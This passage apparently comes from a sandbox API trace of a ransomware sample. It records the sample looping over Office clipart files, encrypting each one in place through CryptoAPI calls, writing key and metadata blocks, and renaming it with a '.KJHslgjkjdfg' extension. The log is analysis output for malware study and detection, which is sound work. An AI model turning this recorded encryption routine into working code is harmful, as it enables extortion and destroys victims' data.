lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.992] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.992] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.992] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.992] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x600, lpOverlapped=0x0) returned 1 [0154.992] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x600, dwBufLen=0x600 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x600) returned 1 [0154.992] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.992] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x600, lpOverlapped=0x0) returned 1 [0154.992] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.992] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.992] SetEndOfFile (hFile=0x114) returned 1 [0154.995] GetProcessHeap () returned 0x2a0000 [0154.995] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.995] GetProcessHeap () returned 0x2a0000 [0154.995] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.995] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.kjhslgjkjdfg")) returned 1 [0154.996] CloseHandle (hObject=0x114) returned 1 [0154.996] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b67a200, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b67a200, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0154.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.997] GetProcessHeap () returned 0x2a0000 [0154.997] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.997] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.998] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.998] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0155.009] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.009] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.009] GetProcessHeap () returned 0x2a0000 [0155.009] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.009] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.009] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.009] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.010] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.010] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.010] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.010] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.010] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.010] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.010] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.010] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.010] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1264, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1264, lpOverlapped=0x0) returned 1 [0155.011] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1270, dwBufLen=0x1270 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1270) returned 1 [0155.011] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.011] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1270, lpOverlapped=0x0) returned 1 [0155.011] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.011] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.011] SetEndOfFile (hFile=0x114) returned 1 [0155.014] GetProcessHeap () returned 0x2a0000 [0155.014] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.014] GetProcessHeap () returned 0x2a0000 [0155.014] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.014] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.kjhslgjkjdfg")) returned 1 [0155.015] CloseHandle (hObject=0x114) returned 1 [0155.016] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9e7400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9e7400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0155.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.017] GetProcessHeap () returned 0x2a0000 [0155.017] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.017] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.017] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.018] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.020] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.020] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.020] GetProcessHeap () returned 0x2a0000 [0155.020] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.020] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.020] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.020] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.020] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.020] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.020] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.021] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.021] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.021] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.021] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6c8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6c8, lpOverlapped=0x0) returned 1 [0155.021] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6d0, dwBufLen=0x6d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6d0) returned 1 [0155.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.021] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6d0, lpOverlapped=0x0) returned 1 [0155.021] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.021] SetEndOfFile (hFile=0x114) returned 1 [0155.024] GetProcessHeap () returned 0x2a0000 [0155.024] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.024] GetProcessHeap () returned 0x2a0000 [0155.024] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.024] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.kjhslgjkjdfg")) returned 1 [0155.025] CloseHandle (hObject=0x114) returned 1 [0155.025] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae0bf00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ae0bf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0155.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.026] GetProcessHeap () returned 0x2a0000 [0155.026] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.026] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.026] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.026] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0155.031] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.031] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.031] GetProcessHeap () returned 0x2a0000 [0155.031] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.031] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.031] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.031] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.031] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.031] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.031] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.032] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.032] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.032] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.032] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.032] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.032] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x30c2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x30c2, lpOverlapped=0x0) returned 1 [0155.036] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30d0, dwBufLen=0x30d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30d0) returned 1 [0155.036] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.036] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x30d0, lpOverlapped=0x0) returned 1 [0155.037] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.037] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x31a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.037] SetEndOfFile (hFile=0x114) returned 1 [0155.039] GetProcessHeap () returned 0x2a0000 [0155.039] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.040] GetProcessHeap () returned 0x2a0000 [0155.040] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.kjhslgjkjdfg")) returned 1 [0155.041] CloseHandle (hObject=0x114) returned 1 [0155.041] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b9b100, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63b9b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1 [0155.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.043] GetProcessHeap () returned 0x2a0000 [0155.043] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.043] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.043] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.043] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.045] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.045] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.045] GetProcessHeap () returned 0x2a0000 [0155.045] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.046] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.046] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.046] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.046] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.046] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.046] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.046] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.046] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.046] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.046] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.046] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.046] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9fc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9fc, lpOverlapped=0x0) returned 1 [0155.046] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa00, dwBufLen=0xa00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa00) returned 1 [0155.046] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.047] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | 